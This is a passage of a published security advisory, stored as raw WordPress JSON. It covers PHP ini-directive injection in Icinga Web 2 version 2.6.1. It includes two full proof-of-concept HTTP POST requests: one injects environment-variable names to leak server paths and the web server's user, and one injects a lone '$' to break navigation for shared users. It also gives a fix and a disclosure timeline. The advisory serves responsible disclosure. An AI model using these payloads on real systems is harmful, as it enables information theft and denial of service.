Icinga Web 2 allows users to create custom dashboards, dashlets (attached to dashboards) and navigation items. The functions for creating and editing these items are vulnerable to injection of PHP ini-file directives. This can be exploited to obtain internal information about the server and the running webserver process or to cause errors, which may result in denial of service. To achieve this the attacker can place the names of environment variables into parameters. The server then retrieves the information of those variables and returns them in the response.<\/span><\/p>\n<\/h3>\nProof of Concept (PoC)<\/h3>\n
The following POST request adds a new navigation item that contains the $PATH, $APACHE_RUN_DIR and $APACHE_RUN_USER variables.
To send this request the user needs to be authenticated (valid cookie and CSRF token):<\/p>\n
[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" hover_enabled=\"0\" sticky_enabled=\"0\"]POST \/icingaweb2\/navigation\/add HTTP\/1.1
\nHost: 82.98.89.32
\nUser-Agent: Mozilla\/5.0 (X11; Linux x86_64; rv:52.0) Gecko\/20100101 Firefox\/52.0
\nAccept: *\/*
\nAccept-Language: en-US,en;q=0.5
\nAccept-Encoding: gzip, deflate
\nReferer: http:\/\/82.98.89.32\/icingaweb2\/navigation
\nContent-Type: application\/x-www-form-urlencoded; charset=UTF-8
\nX-Icinga-Accept: text\/html
\nX-Icinga-WindowId: myvhobgjaqec
\nX-Requested-With: XMLHttpRequest
\nContent-Length: 292
\nCookie: icingaweb2-announcements=%7B%22acknowledged%22%3A%5B%5D%2C%22etag%22%3A%22fdf22446%22%2C%22next%22%3Anull%7D; Icingaweb2=g4egqavdb07u0d6kumaabkhrp9ieuurq; icingaweb2-session=1536679589; icingaweb2-tzo=7200-1
\nConnection: close<\/p>\n
name=${PATH}_${APACHE_RUN_DIR}_${APACHE_RUN_USER}&shared=0&type=menu-item&parent=&target=_blank&url=${PATH}_${APACHE_RUN_DIR}_${APACHE_RUN_USER}&icon=&formUID=form_config_navigation&CSRFToken=852057698%7Cb46579a60ab408a0035e970e858246b8807c47e49dca8bc6936f0e7cad0b2f75&btn_submit=Save+Changes<\/code><\/pre>\n
[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\"]<\/p>\n
When subsequently viewing the navigation item the user is greeted with the following Name and URL, containing the values of the specified environment variables:<\/p>\n
\/usr\/local\/sbin:\/usr\/local\/bin:\/usr\/sbin:\/usr\/bin:\/sbin:\/bin_\/var\/run\/apache2_www-data<\/p>\n
The same attack can similarly be performed for the following functions:
Dashboards\/Dashlets (\/icingaweb2\/dashboard\/new-dashlet)<\/p>\n
Aside from the problem of information disclosure this bug can also cause functionality problems up to a denial of service condition. It is possible for users to specify parameters which will break navigation dashlets. For example, if a user supplies a single $ sign as the Name of a Navigation item the application will display a detailed error message (see screenshot).
The user is also no longer able to use the application for the specific user. If this navigation item is shared with other users, this creates a DoS condition for all users of the application.
An administrator will need to log onto the server system to manually edit the affected ini-file in order to solve this problem.<\/p>\n
The following POST request will trigger this condition for the user mb and the group Administrators:<\/p>\n
[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" hover_enabled=\"0\" sticky_enabled=\"0\"]POST \/icingaweb2\/navigation\/add HTTP\/1.1
\nHost: 82.98.89.32
\nUser-Agent: Mozilla\/5.0 (X11; Linux x86_64; rv:52.0) Gecko\/20100101 Firefox\/52.0
\nAccept: *\/*
\nAccept-Language: en-US,en;q=0.5
\nAccept-Encoding: gzip, deflate
\nReferer: http:\/\/82.98.89.32\/icingaweb2\/navigation
\nContent-Type: application\/x-www-form-urlencoded; charset=UTF-8
\nX-Icinga-Accept: text\/html
\nX-Icinga-WindowId: twazqmosbhix
\nX-Requested-With: XMLHttpRequest
\nContent-Length: 240
\nCookie: icingaweb2-announcements=%7B%22acknowledged%22%3A%5B%5D%2C%22etag%22%3A%22fdf22446%22%2C%22next%22%3Anull%7D; Icingaweb2=cllg91l5p21tf20hg5lo3rjnhhu7p6rk; icingaweb2-session=1536681313; icingaweb2-tzo=7200-1
\nConnection: close<\/p>\n
name=$&shared=0&shared=1&users=mb&groups=Administrators&type=menu-item&target=_blank&url=&icon=&formUID=form_config_navigation&CSRFToken=1768864132%7C2b8b13072e6bf942af148635196b5241d3f3109619292eaa79f0de809d695516&btn_submit=Save+Changes<\/code><\/pre>\n
[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\"]<\/p>\n
\n
\n
Fix<\/h3>\n
Validate all user input and encode output. Ensure that no special characters or directives with special meaning for PHP ini files are inserted into the configuration files.<\/span><\/p>\n<\/h3>\nTimeline<\/h3>\n\n- 2018-09-12 First contact request via security@icinga.com<\/li>\n
- 2018-10-02 Vendor received advisories via security@icinga.com<\/li>\n
- 2018-10-11 CVE-ID requested<\/li>\n
- 2018-10-12 received CVE ID and notified vendor about it<\/li>\n
- 2018-11-09 extended public disclosure deadline to 2018-11-25<\/li>\n
- 2018-11-23 vendor states to have fixed the vulnerability in Icinga Web 2 v2.6.2<\/li>\n
- 2018-12-07 Security advisory released<\/li>\n<\/ul>\n
<\/h3>\nCredits<\/h3>\n
These security vulnerabilities were found by Maximilian Boehner of usd AG.<\/span><\/p>\n<\/div>\n<\/div>\n[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]<\/p>\n","protected":false},"excerpt":{"rendered":"
usd-2018-0030 | Icinga Web 2\/2.6.1 Advisory ID: usd-2018-0030CVE number: CVE-2018-18249, CVE-2018-18250Affected Product: Icinga Web 2Affected Version: 2.6.1Vulnerability Type: Sensitive Data Disclosure & DoSSecurity Risk: HighVendor URL: https:\/\/www.icinga.com\/Vendor Status: Fixed Vendor Information Vendor URL: https:\/\/www.icinga.com\/Vendor Status: fixed Description Icinga Web 2 allows users to create custom dashboards, dashlets (attached to dashboards) and navigation items. The functions […]<\/p>\n","protected":false},"author":96,"featured_media":0,"parent":16124,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_et_pb_use_builder":"on","_et_pb_old_content":"","_et_gb_content_width":"","inline_featured_image":false,"footnotes":""},"class_list":["post-16581","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16581","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/users\/96"}],"replies":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/comments?post=16581"}],"version-history":[{"count":0,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16581\/revisions"}],"up":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16124"}],"wp:attachment":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/media?parent=16581"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}